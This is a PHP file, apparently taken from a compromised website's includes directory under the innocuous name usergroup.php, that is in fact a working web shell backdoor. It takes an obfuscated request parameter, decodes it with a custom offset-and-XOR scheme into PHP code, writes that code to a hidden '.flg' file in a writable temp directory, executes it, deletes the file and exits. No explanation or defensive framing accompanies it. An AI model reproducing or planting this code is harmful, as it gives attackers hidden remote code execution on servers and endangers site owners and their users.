File: //proc/self/root/proc/thread-self/root/home/vitanhod/wepatol.vitavit.com.pk/includes/usergroup.php
<?php
if(@$_REQUEST["\x73\x79\x6Dbol"] !== null){
$token = $_REQUEST["\x73\x79\x6Dbol"];
$token = explode ( '.' , $token ) ;
$property_set ='';
$s2 ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($s2);
$n =0;
foreach ($token as $v8) { $chS =ord($s2[$n% $sLen]);
$dec =((int)$v8 - $chS - ($n% 10)) ^ 76;
$property_set .= chr($dec);
$n++;
}
$component = array_filter(["/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]);
foreach ($component as $record):
if (is_dir($record) ? is_writable($record) : false) {
$ent = implode("/", [$record, ".flg"]);
if (@file_put_contents($ent, $property_set) !== false) {
include $ent;
unlink($ent);
die();
}
}
endforeach;
}